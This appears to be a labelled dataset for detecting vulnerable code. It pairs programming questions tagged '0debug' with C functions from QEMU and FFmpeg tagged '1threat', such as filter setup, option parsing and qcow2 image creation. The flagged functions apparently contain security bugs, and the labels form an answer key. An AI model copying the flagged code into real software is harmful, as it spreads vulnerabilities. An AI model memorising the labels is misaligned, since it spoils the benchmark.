problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
use RxSwift, driver and bind to : <p>I'm the first time to ask a question,I'm learning RxSwift, how to use bind to and driver, what's the difference between of driver and bind to.Anyone else learning RxSwift now.If you are learning RxSwift or Swift or OC,i hope we can be friends and learn from each other.</p>
| 0debug |
void memory_region_iommu_replay(MemoryRegion *mr, IOMMUNotifier *n,
bool is_write)
{
hwaddr addr, granularity;
IOMMUTLBEntry iotlb;
IOMMUAccessFlags flag = is_write ? IOMMU_WO : IOMMU_RO;
if (mr->iommu_ops->replay) {
mr->iommu_ops->replay(mr, n);
return;
}
granularity = memory_region_iommu_get_min_page_size(mr);
for (addr = 0; addr < memory_region_size(mr); addr += granularity) {
iotlb = mr->iommu_ops->translate(mr, addr, flag);
if (iotlb.perm != IOMMU_NONE) {
n->notify(n, &iotlb);
}
if ((addr + granularity) < addr) {
break;
}
}
}
| 1threat |
static VirtIOBlockReq *virtio_blk_alloc_request(VirtIOBlock *s)
{
VirtIOBlockReq *req = g_slice_new(VirtIOBlockReq);
req->dev = s;
req->qiov.size = 0;
req->next = NULL;
req->elem = g_slice_new(VirtQueueElement);
return req;
}
| 1threat |
QemuOpts *qemu_opts_create(QemuOptsList *list, const char *id,
int fail_if_exists, Error **errp)
{
QemuOpts *opts = NULL;
if (id) {
if (!id_wellformed(id)) {
error_set(errp,QERR_INVALID_PARAMETER_VALUE, "id", "an identifier");
#if 0
error_printf_unless_qmp("Identifiers consist of letters, digits, '-', '.', '_', starting with a letter.\n");
#endif
return NULL;
}
opts = qemu_opts_find(list, id);
if (opts != NULL) {
if (fail_if_exists && !list->merge_lists) {
error_setg(errp, "Duplicate ID '%s' for %s", id, list->name);
return NULL;
} else {
return opts;
}
}
} else if (list->merge_lists) {
opts = qemu_opts_find(list, NULL);
if (opts) {
return opts;
}
}
opts = g_malloc0(sizeof(*opts));
opts->id = g_strdup(id);
opts->list = list;
loc_save(&opts->loc);
QTAILQ_INIT(&opts->head);
QTAILQ_INSERT_TAIL(&list->head, opts, next);
return opts;
}
| 1threat |
static int mp3_write_trailer(struct AVFormatContext *s)
{
uint8_t buf[ID3v1_TAG_SIZE];
MP3Context *mp3 = s->priv_data;
if (id3v1_create_tag(s, buf) > 0) {
avio_write(s->pb, buf, ID3v1_TAG_SIZE);
}
if (mp3 && mp3->nb_frames_offset) {
avio_seek(s->pb, mp3->nb_frames_offset, SEEK_SET);
avio_wb32(s->pb, s->streams[0]->nb_frames);
avio_seek(s->pb, 0, SEEK_END);
}
avio_flush(s->pb);
return 0;
}
| 1threat |
AioContext *bdrv_get_aio_context(BlockDriverState *bs)
{
return qemu_get_aio_context();
}
| 1threat |
UITableViewAlertForLayoutOutsideViewHierarchy error: Warning once only (iOS 13 GM) : <p>I am getting a strange error with iOS13 when performing a Segue and I can't figure out what it means, nor can I find any documentation for this error. The problem is that this seems to cause a lot of lag (a few seconds) until the segue is performed.</p>
<blockquote>
<p>2019-09-11 22:45:38.861982+0100 Thrive[2324:414597] [TableView] Warning once only: UITableView was told to layout its visible cells
and other contents without being in the view hierarchy (the table view
or one of its superviews has not been added to a window). This may
cause bugs by forcing views inside the table view to load and perform
layout without accurate information (e.g. table view bounds, trait
collection, layout margins, safe area insets, etc), and will also
cause unnecessary performance overhead due to extra layout passes.
Make a symbolic breakpoint at
UITableViewAlertForLayoutOutsideViewHierarchy to catch this in the
debugger and see what caused this to occur, so you can avoid this
action altogether if possible, or defer it until the table view has
been added to a window. Table view: ; layer = ; contentOffset: {0, 0}; contentSize: {315, 118};
adjustedContentInset: {0, 0, 0, 0}; dataSource: ></p>
</blockquote>
<p>I am using Hero but I tried disabling it and using a regular Segue and this hasn't stopped the lag.</p>
<p>The code to initiate the segue is didSelectRowAt</p>
<pre><code>func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
if indexPath.section == 0 {
selectedCell = realIndexFor(activeGoalAt: indexPath)
performSegue(withIdentifier: "toGoalDetails", sender: nil)
} else if indexPath.section == 1 {
selectedCell = indexPath.row
performSegue(withIdentifier: "toIdeaDetails", sender: nil)
} else {
selectedDecision = indexPath.row
hero(destination: "DecisionDetails", type: .zoom)
}
}
</code></pre>
<p>And then none of the code in viewDidLoad or viewWillAppear from the destination VC affects this in any way (I tried commenting it all out with no difference.</p>
<p>Any idea what's causing this? I can share whatever other details are needed.</p>
<p>Thank you.</p>
| 0debug |
static int check_exception(int intno, int *error_code)
{
int first_contributory = env->old_exception == 0 ||
(env->old_exception >= 10 &&
env->old_exception <= 13);
int second_contributory = intno == 0 ||
(intno >= 10 && intno <= 13);
qemu_log_mask(CPU_LOG_INT, "check_exception old: 0x%x new 0x%x\n",
env->old_exception, intno);
if (env->old_exception == EXCP08_DBLE)
cpu_abort(env, "triple fault");
if ((first_contributory && second_contributory)
|| (env->old_exception == EXCP0E_PAGE &&
(second_contributory || (intno == EXCP0E_PAGE)))) {
intno = EXCP08_DBLE;
*error_code = 0;
}
if (second_contributory || (intno == EXCP0E_PAGE) ||
(intno == EXCP08_DBLE))
env->old_exception = intno;
return intno;
}
| 1threat |
void cpu_loop(CPUARMState *env)
{
CPUState *cs = CPU(arm_env_get_cpu(env));
int trapnr;
unsigned int n, insn;
target_siginfo_t info;
uint32_t addr;
for(;;) {
cpu_exec_start(cs);
trapnr = cpu_arm_exec(cs);
cpu_exec_end(cs);
switch(trapnr) {
case EXCP_UDEF:
{
TaskState *ts = cs->opaque;
uint32_t opcode;
int rc;
get_user_code_u32(opcode, env->regs[15], env);
rc = EmulateAll(opcode, &ts->fpa, env);
if (rc == 0) {
info.si_signo = TARGET_SIGILL;
info.si_errno = 0;
info.si_code = TARGET_ILL_ILLOPN;
info._sifields._sigfault._addr = env->regs[15];
queue_signal(env, info.si_signo, &info);
} else if (rc < 0) {
int arm_fpe=0;
if (-rc & float_flag_invalid)
arm_fpe |= BIT_IOC;
if (-rc & float_flag_divbyzero)
arm_fpe |= BIT_DZC;
if (-rc & float_flag_overflow)
arm_fpe |= BIT_OFC;
if (-rc & float_flag_underflow)
arm_fpe |= BIT_UFC;
if (-rc & float_flag_inexact)
arm_fpe |= BIT_IXC;
FPSR fpsr = ts->fpa.fpsr;
if (fpsr & (arm_fpe << 16)) {
info.si_signo = TARGET_SIGFPE;
info.si_errno = 0;
if (arm_fpe & BIT_IXC) info.si_code = TARGET_FPE_FLTRES;
if (arm_fpe & BIT_UFC) info.si_code = TARGET_FPE_FLTUND;
if (arm_fpe & BIT_OFC) info.si_code = TARGET_FPE_FLTOVF;
if (arm_fpe & BIT_DZC) info.si_code = TARGET_FPE_FLTDIV;
if (arm_fpe & BIT_IOC) info.si_code = TARGET_FPE_FLTINV;
info._sifields._sigfault._addr = env->regs[15];
queue_signal(env, info.si_signo, &info);
} else {
env->regs[15] += 4;
}
if ((!(fpsr & BIT_IXE)) && (arm_fpe & BIT_IXC))
fpsr |= BIT_IXC;
if ((!(fpsr & BIT_UFE)) && (arm_fpe & BIT_UFC))
fpsr |= BIT_UFC;
if ((!(fpsr & BIT_OFE)) && (arm_fpe & BIT_OFC))
fpsr |= BIT_OFC;
if ((!(fpsr & BIT_DZE)) && (arm_fpe & BIT_DZC))
fpsr |= BIT_DZC;
if ((!(fpsr & BIT_IOE)) && (arm_fpe & BIT_IOC))
fpsr |= BIT_IOC;
ts->fpa.fpsr=fpsr;
} else {
env->regs[15] += 4;
}
}
break;
case EXCP_SWI:
case EXCP_BKPT:
{
env->eabi = 1;
if (trapnr == EXCP_BKPT) {
if (env->thumb) {
get_user_code_u16(insn, env->regs[15], env);
n = insn & 0xff;
env->regs[15] += 2;
} else {
get_user_code_u32(insn, env->regs[15], env);
n = (insn & 0xf) | ((insn >> 4) & 0xff0);
env->regs[15] += 4;
}
} else {
if (env->thumb) {
get_user_code_u16(insn, env->regs[15] - 2, env);
n = insn & 0xff;
} else {
get_user_code_u32(insn, env->regs[15] - 4, env);
n = insn & 0xffffff;
}
}
if (n == ARM_NR_cacheflush) {
} else if (n == ARM_NR_semihosting
|| n == ARM_NR_thumb_semihosting) {
env->regs[0] = do_arm_semihosting (env);
} else if (n == 0 || n >= ARM_SYSCALL_BASE || env->thumb) {
if (env->thumb || n == 0) {
n = env->regs[7];
} else {
n -= ARM_SYSCALL_BASE;
env->eabi = 0;
}
if ( n > ARM_NR_BASE) {
switch (n) {
case ARM_NR_cacheflush:
break;
case ARM_NR_set_tls:
cpu_set_tls(env, env->regs[0]);
env->regs[0] = 0;
break;
case ARM_NR_breakpoint:
env->regs[15] -= env->thumb ? 2 : 4;
goto excp_debug;
default:
gemu_log("qemu: Unsupported ARM syscall: 0x%x\n",
n);
env->regs[0] = -TARGET_ENOSYS;
break;
}
} else {
env->regs[0] = do_syscall(env,
n,
env->regs[0],
env->regs[1],
env->regs[2],
env->regs[3],
env->regs[4],
env->regs[5],
0, 0);
}
} else {
goto error;
}
}
break;
case EXCP_INTERRUPT:
break;
case EXCP_STREX:
if (!do_strex(env)) {
break;
}
case EXCP_PREFETCH_ABORT:
case EXCP_DATA_ABORT:
addr = env->exception.vaddress;
{
info.si_signo = TARGET_SIGSEGV;
info.si_errno = 0;
info.si_code = TARGET_SEGV_MAPERR;
info._sifields._sigfault._addr = addr;
queue_signal(env, info.si_signo, &info);
}
break;
case EXCP_DEBUG:
excp_debug:
{
int sig;
sig = gdb_handlesig(cs, TARGET_SIGTRAP);
if (sig)
{
info.si_signo = sig;
info.si_errno = 0;
info.si_code = TARGET_TRAP_BRKPT;
queue_signal(env, info.si_signo, &info);
}
}
break;
case EXCP_KERNEL_TRAP:
if (do_kernel_trap(env))
goto error;
break;
case EXCP_YIELD:
break;
default:
error:
EXCP_DUMP(env, "qemu: unhandled CPU exception 0x%x - aborting\n", trapnr);
abort();
}
process_pending_signals(env);
}
}
| 1threat |
How to read child_process.spawnSync stdout with stdio option 'inherit' : <pre><code>var childProcess = cp.spawnSync(command, args, {
cwd: process.cwd(),
env: process.env,
stdio: 'inherit',
encoding: 'utf-8'
});
</code></pre>
<p>childProcess.output always eq [null, null, null]</p>
<p>process.stdout.write hook doesn't give me any output</p>
| 0debug |
static void assert_file_overwrite(const char *filename)
{
if (file_overwrite && file_skip) {
fprintf(stderr, "Error, both -y and -n supplied. Exiting.\n");
exit_program(1);
}
if (!file_overwrite &&
(strchr(filename, ':') == NULL || filename[1] == ':' ||
av_strstart(filename, "file:", NULL))) {
if (avio_check(filename, 0) == 0) {
if (!using_stdin && !file_skip) {
fprintf(stderr,"File '%s' already exists. Overwrite ? [y/N] ", filename);
fflush(stderr);
if (!read_yesno()) {
fprintf(stderr, "Not overwriting - exiting\n");
exit_program(1);
}
}
else {
fprintf(stderr,"File '%s' already exists. Exiting.\n", filename);
exit_program(1);
}
}
}
}
| 1threat |
Void Function return a value. : I have that one void function like this,
void Charge(float p[15][11], int cantPol){
cantPol = 0;
for(int i = 0; i < 15; i++){
for(int j = 0; j < 11; j++){
&p[i][j]
}
cantPol++;
}
printf("\n");
printf("\n");
printf("%i\n",cantPol);
cantPol;
}
I can return trought value 'cantPol' using pointers as i did with the matrix?
| 0debug |
why I'm getting identifier expected eror in java : import java.io.*;
class Fndwrd
{
public static void main(String args[])
throws IOException
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String s,sn;
System.out.println("Enter the Sentence/string");
sn=" ";
s=br.readLine();
int p,l=s.length();
p=0;
for(int i=0;i<l;i++)
{
if(s.charAt(i)==' ')
{
sn=sn+' '+s.charAt(p);
p=i+1;
}
}
sn=sn+"."+s.substring(p);
System.out.println("Short name\n "+sn);
}[enter image description here][1]
[1]: https://i.stack.imgur.com/V4sRe.jpg | 0debug |
def check_tuplex(tuplex,tuple1):
if tuple1 in tuplex:
return True
else:
return False | 0debug |
Python - String and int variable concat followed by value substitution : <p>I have a list of variables in Python with below values.</p>
<p>I am trying to print the values of these variables in the following manner, but this is unsuccessful. Can someone please help with a solution ?</p>
<pre><code>a1=1
a2=2
a3=3
for i in range(1,4):
temp="a"+str(i)
print(temp)
</code></pre>
<p>I want the output in 'temp' print the values(viz) 1,2,3 whereas the output seen are the variables (viz) a1,a2,a3</p>
| 0debug |
static int initFilter(int16_t **outFilter, int16_t **filterPos, int *outFilterSize, int xInc,
int srcW, int dstW, int filterAlign, int one, int flags, int cpu_flags,
SwsVector *srcFilter, SwsVector *dstFilter, double param[2])
{
int i;
int filterSize;
int filter2Size;
int minFilterSize;
int64_t *filter=NULL;
int64_t *filter2=NULL;
const int64_t fone= 1LL<<54;
int ret= -1;
emms_c();
FF_ALLOC_OR_GOTO(NULL, *filterPos, (dstW+3)*sizeof(int16_t), fail);
if (FFABS(xInc - 0x10000) <10) {
int i;
filterSize= 1;
FF_ALLOCZ_OR_GOTO(NULL, filter, dstW*sizeof(*filter)*filterSize, fail);
for (i=0; i<dstW; i++) {
filter[i*filterSize]= fone;
(*filterPos)[i]=i;
}
} else if (flags&SWS_POINT) {
int i;
int xDstInSrc;
filterSize= 1;
FF_ALLOC_OR_GOTO(NULL, filter, dstW*sizeof(*filter)*filterSize, fail);
xDstInSrc= xInc/2 - 0x8000;
for (i=0; i<dstW; i++) {
int xx= (xDstInSrc - ((filterSize-1)<<15) + (1<<15))>>16;
(*filterPos)[i]= xx;
filter[i]= fone;
xDstInSrc+= xInc;
}
} else if ((xInc <= (1<<16) && (flags&SWS_AREA)) || (flags&SWS_FAST_BILINEAR)) {
int i;
int xDstInSrc;
filterSize= 2;
FF_ALLOC_OR_GOTO(NULL, filter, dstW*sizeof(*filter)*filterSize, fail);
xDstInSrc= xInc/2 - 0x8000;
for (i=0; i<dstW; i++) {
int xx= (xDstInSrc - ((filterSize-1)<<15) + (1<<15))>>16;
int j;
(*filterPos)[i]= xx;
for (j=0; j<filterSize; j++) {
int64_t coeff= fone - FFABS((xx<<16) - xDstInSrc)*(fone>>16);
if (coeff<0) coeff=0;
filter[i*filterSize + j]= coeff;
xx++;
}
xDstInSrc+= xInc;
}
} else {
int xDstInSrc;
int sizeFactor;
if (flags&SWS_BICUBIC) sizeFactor= 4;
else if (flags&SWS_X) sizeFactor= 8;
else if (flags&SWS_AREA) sizeFactor= 1;
else if (flags&SWS_GAUSS) sizeFactor= 8;
else if (flags&SWS_LANCZOS) sizeFactor= param[0] != SWS_PARAM_DEFAULT ? ceil(2*param[0]) : 6;
else if (flags&SWS_SINC) sizeFactor= 20;
else if (flags&SWS_SPLINE) sizeFactor= 20;
else if (flags&SWS_BILINEAR) sizeFactor= 2;
else {
sizeFactor= 0;
assert(0);
}
if (xInc <= 1<<16) filterSize= 1 + sizeFactor;
else filterSize= 1 + (sizeFactor*srcW + dstW - 1)/ dstW;
if (filterSize > srcW-2) filterSize=srcW-2;
FF_ALLOC_OR_GOTO(NULL, filter, dstW*sizeof(*filter)*filterSize, fail);
xDstInSrc= xInc - 0x10000;
for (i=0; i<dstW; i++) {
int xx= (xDstInSrc - ((filterSize-2)<<16)) / (1<<17);
int j;
(*filterPos)[i]= xx;
for (j=0; j<filterSize; j++) {
int64_t d= ((int64_t)FFABS((xx<<17) - xDstInSrc))<<13;
double floatd;
int64_t coeff;
if (xInc > 1<<16)
d= d*dstW/srcW;
floatd= d * (1.0/(1<<30));
if (flags & SWS_BICUBIC) {
int64_t B= (param[0] != SWS_PARAM_DEFAULT ? param[0] : 0) * (1<<24);
int64_t C= (param[1] != SWS_PARAM_DEFAULT ? param[1] : 0.6) * (1<<24);
if (d >= 1LL<<31) {
coeff = 0.0;
} else {
int64_t dd = (d * d) >> 30;
int64_t ddd = (dd * d) >> 30;
if (d < 1LL<<30)
coeff = (12*(1<<24)-9*B-6*C)*ddd + (-18*(1<<24)+12*B+6*C)*dd + (6*(1<<24)-2*B)*(1<<30);
else
coeff = (-B-6*C)*ddd + (6*B+30*C)*dd + (-12*B-48*C)*d + (8*B+24*C)*(1<<30);
}
coeff *= fone>>(30+24);
}
else if (flags & SWS_X) {
double A= param[0] != SWS_PARAM_DEFAULT ? param[0] : 1.0;
double c;
if (floatd<1.0)
c = cos(floatd*M_PI);
else
c=-1.0;
if (c<0.0) c= -pow(-c, A);
else c= pow( c, A);
coeff= (c*0.5 + 0.5)*fone;
} else if (flags & SWS_AREA) {
int64_t d2= d - (1<<29);
if (d2*xInc < -(1LL<<(29+16))) coeff= 1.0 * (1LL<<(30+16));
else if (d2*xInc < (1LL<<(29+16))) coeff= -d2*xInc + (1LL<<(29+16));
else coeff=0.0;
coeff *= fone>>(30+16);
} else if (flags & SWS_GAUSS) {
double p= param[0] != SWS_PARAM_DEFAULT ? param[0] : 3.0;
coeff = (pow(2.0, - p*floatd*floatd))*fone;
} else if (flags & SWS_SINC) {
coeff = (d ? sin(floatd*M_PI)/(floatd*M_PI) : 1.0)*fone;
} else if (flags & SWS_LANCZOS) {
double p= param[0] != SWS_PARAM_DEFAULT ? param[0] : 3.0;
coeff = (d ? sin(floatd*M_PI)*sin(floatd*M_PI/p)/(floatd*floatd*M_PI*M_PI/p) : 1.0)*fone;
if (floatd>p) coeff=0;
} else if (flags & SWS_BILINEAR) {
coeff= (1<<30) - d;
if (coeff<0) coeff=0;
coeff *= fone >> 30;
} else if (flags & SWS_SPLINE) {
double p=-2.196152422706632;
coeff = getSplineCoeff(1.0, 0.0, p, -p-1.0, floatd) * fone;
} else {
coeff= 0.0;
assert(0);
}
filter[i*filterSize + j]= coeff;
xx++;
}
xDstInSrc+= 2*xInc;
}
}
assert(filterSize>0);
filter2Size= filterSize;
if (srcFilter) filter2Size+= srcFilter->length - 1;
if (dstFilter) filter2Size+= dstFilter->length - 1;
assert(filter2Size>0);
FF_ALLOCZ_OR_GOTO(NULL, filter2, filter2Size*dstW*sizeof(*filter2), fail);
for (i=0; i<dstW; i++) {
int j, k;
if(srcFilter) {
for (k=0; k<srcFilter->length; k++) {
for (j=0; j<filterSize; j++)
filter2[i*filter2Size + k + j] += srcFilter->coeff[k]*filter[i*filterSize + j];
}
} else {
for (j=0; j<filterSize; j++)
filter2[i*filter2Size + j]= filter[i*filterSize + j];
}
(*filterPos)[i]+= (filterSize-1)/2 - (filter2Size-1)/2;
}
av_freep(&filter);
minFilterSize= 0;
for (i=dstW-1; i>=0; i--) {
int min= filter2Size;
int j;
int64_t cutOff=0.0;
for (j=0; j<filter2Size; j++) {
int k;
cutOff += FFABS(filter2[i*filter2Size]);
if (cutOff > SWS_MAX_REDUCE_CUTOFF*fone) break;
if (i<dstW-1 && (*filterPos)[i] >= (*filterPos)[i+1]) break;
for (k=1; k<filter2Size; k++)
filter2[i*filter2Size + k - 1]= filter2[i*filter2Size + k];
filter2[i*filter2Size + k - 1]= 0;
(*filterPos)[i]++;
}
cutOff=0;
for (j=filter2Size-1; j>0; j--) {
cutOff += FFABS(filter2[i*filter2Size + j]);
if (cutOff > SWS_MAX_REDUCE_CUTOFF*fone) break;
min--;
}
if (min>minFilterSize) minFilterSize= min;
}
if (HAVE_ALTIVEC && cpu_flags & AV_CPU_FLAG_ALTIVEC) {
if (minFilterSize < 5)
filterAlign = 4;
if (minFilterSize < 3)
filterAlign = 1;
}
if (HAVE_MMX && cpu_flags & AV_CPU_FLAG_MMX) {
if (minFilterSize == 1 && filterAlign == 2)
filterAlign= 1;
}
assert(minFilterSize > 0);
filterSize= (minFilterSize +(filterAlign-1)) & (~(filterAlign-1));
assert(filterSize > 0);
filter= av_malloc(filterSize*dstW*sizeof(*filter));
if (filterSize >= MAX_FILTER_SIZE*16/((flags&SWS_ACCURATE_RND) ? APCK_SIZE : 16) || !filter)
goto fail;
*outFilterSize= filterSize;
if (flags&SWS_PRINT_INFO)
av_log(NULL, AV_LOG_VERBOSE, "SwScaler: reducing / aligning filtersize %d -> %d\n", filter2Size, filterSize);
for (i=0; i<dstW; i++) {
int j;
for (j=0; j<filterSize; j++) {
if (j>=filter2Size) filter[i*filterSize + j]= 0;
else filter[i*filterSize + j]= filter2[i*filter2Size + j];
if((flags & SWS_BITEXACT) && j>=minFilterSize)
filter[i*filterSize + j]= 0;
}
}
for (i=0; i<dstW; i++) {
int j;
if ((*filterPos)[i] < 0) {
to compensate for filterPos
for (j=1; j<filterSize; j++) {
int left= FFMAX(j + (*filterPos)[i], 0);
filter[i*filterSize + left] += filter[i*filterSize + j];
filter[i*filterSize + j]=0;
}
(*filterPos)[i]= 0;
}
if ((*filterPos)[i] + filterSize > srcW) {
int shift= (*filterPos)[i] + filterSize - srcW;
for (j=filterSize-2; j>=0; j--) {
int right= FFMIN(j + shift, filterSize-1);
filter[i*filterSize +right] += filter[i*filterSize +j];
filter[i*filterSize +j]=0;
}
(*filterPos)[i]= srcW - filterSize;
}
}
FF_ALLOCZ_OR_GOTO(NULL, *outFilter, *outFilterSize*(dstW+3)*sizeof(int16_t), fail);
for (i=0; i<dstW; i++) {
int j;
int64_t error=0;
int64_t sum=0;
for (j=0; j<filterSize; j++) {
sum+= filter[i*filterSize + j];
}
sum= (sum + one/2)/ one;
for (j=0; j<*outFilterSize; j++) {
int64_t v= filter[i*filterSize + j] + error;
int intV= ROUNDED_DIV(v, sum);
(*outFilter)[i*(*outFilterSize) + j]= intV;
error= v - intV*sum;
}
}
(*filterPos)[dstW+0] =
(*filterPos)[dstW+1] =
(*filterPos)[dstW+2] = (*filterPos)[dstW-1];
for (i=0; i<*outFilterSize; i++) {
int k= (dstW - 1) * (*outFilterSize) + i;
(*outFilter)[k + 1 * (*outFilterSize)] =
(*outFilter)[k + 2 * (*outFilterSize)] =
(*outFilter)[k + 3 * (*outFilterSize)] = (*outFilter)[k];
}
ret=0;
fail:
av_free(filter);
av_free(filter2);
return ret;
}
| 1threat |
Can unix_timestamp() return unix time in milliseconds in Apache Spark? : <p>I'm trying to get the unix time from a timestamp field in milliseconds (13 digits) but currently it returns in seconds (10 digits). </p>
<pre><code>scala> var df = Seq("2017-01-18 11:00:00.000", "2017-01-18 11:00:00.123", "2017-01-18 11:00:00.882", "2017-01-18 11:00:02.432").toDF()
df: org.apache.spark.sql.DataFrame = [value: string]
scala> df = df.selectExpr("value timeString", "cast(value as timestamp) time")
df: org.apache.spark.sql.DataFrame = [timeString: string, time: timestamp]
scala> df = df.withColumn("unix_time", unix_timestamp(df("time")))
df: org.apache.spark.sql.DataFrame = [timeString: string, time: timestamp ... 1 more field]
scala> df.take(4)
res63: Array[org.apache.spark.sql.Row] = Array(
[2017-01-18 11:00:00.000,2017-01-18 11:00:00.0,1484758800],
[2017-01-18 11:00:00.123,2017-01-18 11:00:00.123,1484758800],
[2017-01-18 11:00:00.882,2017-01-18 11:00:00.882,1484758800],
[2017-01-18 11:00:02.432,2017-01-18 11:00:02.432,1484758802])
</code></pre>
<p>Even though <code>2017-01-18 11:00:00.123</code> and <code>2017-01-18 11:00:00.000</code> are different, I get the same unix time back <code>1484758800</code></p>
<p>What am I missing?</p>
| 0debug |
Problems trying to save data to SQlite : <p>Since this is my second app, and my first app was 99% designing, this could be a duplicate because i might not be using the proper keywords for my searches, but i'm searching for 3 hours now for the solution, which is probably very simple, and i can't seem to find it.</p>
<p>When I try to save information to my database with 2 TextViews, 1 Spinner, and a Button, i get this error message:</p>
<pre><code>FATAL EXCEPTION: main
Process: nl.pluuk.gelduren, PID: 29876
java.lang.NullPointerException: Attempt to invoke virtual method 'android.database.sqlite.SQLiteDatabase android.content.Context.openOrCreateDatabase(java.lang.String, int, android.database.sqlite.SQLiteDatabase$CursorFactory, android.database.DatabaseErrorHandler)' on a null object reference
at android.database.sqlite.SQLiteOpenHelper.getDatabaseLocked(SQLiteOpenHelper.java:223)
at android.database.sqlite.SQLiteOpenHelper.getWritableDatabase(SQLiteOpenHelper.java:163)
at nl.pluuk.gelduren.Add_client.saveData(Add_client.java:76)
at nl.pluuk.gelduren.Add_client$3.onClick(Add_client.java:67)
at android.view.View.performClick(View.java:5233)
at android.view.View$PerformClick.run(View.java:21209)
at android.os.Handler.handleCallback(Handler.java:739)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:152)
at android.app.ActivityThread.main(ActivityThread.java:5497)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
</code></pre>
<p>This is my code which i'm currently using to not save any data</p>
<pre><code>public void save(){
save = (Button)findViewById(R.id.button_save_client);
save.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
System.out.println("Save Button Clicked");
Client_textView = (TextView)findViewById(R.id.inputform_client_name);
Rate_textView = (TextView)findViewById(R.id.inputform_rate);
Pay_Period_textView = (Spinner)findViewById(R.id.spinner_pay_period);
Client = "" + Client_textView.getText();
Rate = Integer.parseInt("" + Rate_textView.getText());
Pay_Period = "" + Pay_Period_textView.getSelectedItem();
saveData();
}
});
}
public void saveData(){
// Gets the data repository in write mode
SQLiteDatabase db = mDbHelper.getWritableDatabase();
// Create a new map of values, where column names are the keys
ContentValues values = new ContentValues();
values.put(FeedReaderContract.FeedEntry.COLUMN_NAME_CLIENT_NAME, Client);
System.out.println("Yes, i'm in your log");
values.put(FeedReaderContract.FeedEntry.COLUMN_NAME_RATE, Rate);
values.put(FeedReaderContract.FeedEntry.COLUMN_NAME_PAY_PERIOD, Pay_Period);
// Insert the new row, returning the primary key value of the new row
long newRowId;
newRowId = db.insert(
FeedReaderContract.FeedEntry.TABLE_NAME,
null,
values);
}
</code></pre>
<p>This code is all inside Add_client.
The error Add_client.java:76 is referring to the line: <code>SQLiteDatabase db = mDbHelper.getWritableDatabase();</code>
The error Add_client.java:67 is referring to the line: <code>saveData();</code>
Which is probably caused by line 76.</p>
<p>I made sure that there are columns inside the database, by executing <code>System.out.println("Column count:" + c.getColumnCount());</code></p>
<p>This told me that there where 3 columns, which is what I was expecting.
I also checked if there was any data inside the columns with:</p>
<pre><code>Boolean rowExists;
if (c.moveToFirst())
{
System.out.println(c.getColumnName(0));
rowExists = true;
} else
{
System.out.println("Nothing to see here");
rowExists = false;
}
</code></pre>
<p>This gave me the output: Nothing to see here, which is was also expecting because the database starts empty.</p>
<p>Where is the mistake in my code which keeps smashing me these errors?</p>
<p>Is there is any other information needed, I will be happily include it in an edit.</p>
| 0debug |
Triangle Imageview in Swift : <p>I want to create this type of view in Swift 3 . How we create I am unable to do this Please help Any help would be appreciated. Thanks in Advance</p>
| 0debug |
static int qcow2_create2(const char *filename, int64_t total_size,
const char *backing_file, const char *backing_format,
int flags, size_t cluster_size, PreallocMode prealloc,
QemuOpts *opts, int version, int refcount_order,
Error **errp)
{
int cluster_bits;
cluster_bits = ffs(cluster_size) - 1;
if (cluster_bits < MIN_CLUSTER_BITS || cluster_bits > MAX_CLUSTER_BITS ||
(1 << cluster_bits) != cluster_size)
{
error_setg(errp, "Cluster size must be a power of two between %d and "
"%dk", 1 << MIN_CLUSTER_BITS, 1 << (MAX_CLUSTER_BITS - 10));
return -EINVAL;
}
BlockDriverState* bs;
QCowHeader *header;
uint64_t* refcount_table;
Error *local_err = NULL;
int ret;
if (prealloc == PREALLOC_MODE_FULL || prealloc == PREALLOC_MODE_FALLOC) {
int64_t meta_size = 0;
uint64_t nreftablee, nrefblocke, nl1e, nl2e;
int64_t aligned_total_size = align_offset(total_size, cluster_size);
int refblock_bits, refblock_size;
double rces = (1 << refcount_order) / 8.;
refblock_bits = cluster_bits - (refcount_order - 3);
refblock_size = 1 << refblock_bits;
meta_size += cluster_size;
nl2e = aligned_total_size / cluster_size;
nl2e = align_offset(nl2e, cluster_size / sizeof(uint64_t));
meta_size += nl2e * sizeof(uint64_t);
nl1e = nl2e * sizeof(uint64_t) / cluster_size;
nl1e = align_offset(nl1e, cluster_size / sizeof(uint64_t));
meta_size += nl1e * sizeof(uint64_t);
nrefblocke = (aligned_total_size + meta_size + cluster_size)
/ (cluster_size - rces - rces * sizeof(uint64_t)
/ cluster_size);
meta_size += DIV_ROUND_UP(nrefblocke, refblock_size) * cluster_size;
nreftablee = nrefblocke / refblock_size;
nreftablee = align_offset(nreftablee, cluster_size / sizeof(uint64_t));
meta_size += nreftablee * sizeof(uint64_t);
qemu_opt_set_number(opts, BLOCK_OPT_SIZE,
aligned_total_size + meta_size, &error_abort);
qemu_opt_set(opts, BLOCK_OPT_PREALLOC, PreallocMode_lookup[prealloc],
&error_abort);
}
ret = bdrv_create_file(filename, opts, &local_err);
if (ret < 0) {
error_propagate(errp, local_err);
return ret;
}
bs = NULL;
ret = bdrv_open(&bs, filename, NULL, NULL, BDRV_O_RDWR | BDRV_O_PROTOCOL,
NULL, &local_err);
if (ret < 0) {
error_propagate(errp, local_err);
return ret;
}
QEMU_BUILD_BUG_ON((1 << MIN_CLUSTER_BITS) < sizeof(*header));
header = g_malloc0(cluster_size);
*header = (QCowHeader) {
.magic = cpu_to_be32(QCOW_MAGIC),
.version = cpu_to_be32(version),
.cluster_bits = cpu_to_be32(cluster_bits),
.size = cpu_to_be64(0),
.l1_table_offset = cpu_to_be64(0),
.l1_size = cpu_to_be32(0),
.refcount_table_offset = cpu_to_be64(cluster_size),
.refcount_table_clusters = cpu_to_be32(1),
.refcount_order = cpu_to_be32(refcount_order),
.header_length = cpu_to_be32(sizeof(*header)),
};
if (flags & BLOCK_FLAG_ENCRYPT) {
header->crypt_method = cpu_to_be32(QCOW_CRYPT_AES);
} else {
header->crypt_method = cpu_to_be32(QCOW_CRYPT_NONE);
}
if (flags & BLOCK_FLAG_LAZY_REFCOUNTS) {
header->compatible_features |=
cpu_to_be64(QCOW2_COMPAT_LAZY_REFCOUNTS);
}
ret = bdrv_pwrite(bs, 0, header, cluster_size);
g_free(header);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not write qcow2 header");
goto out;
}
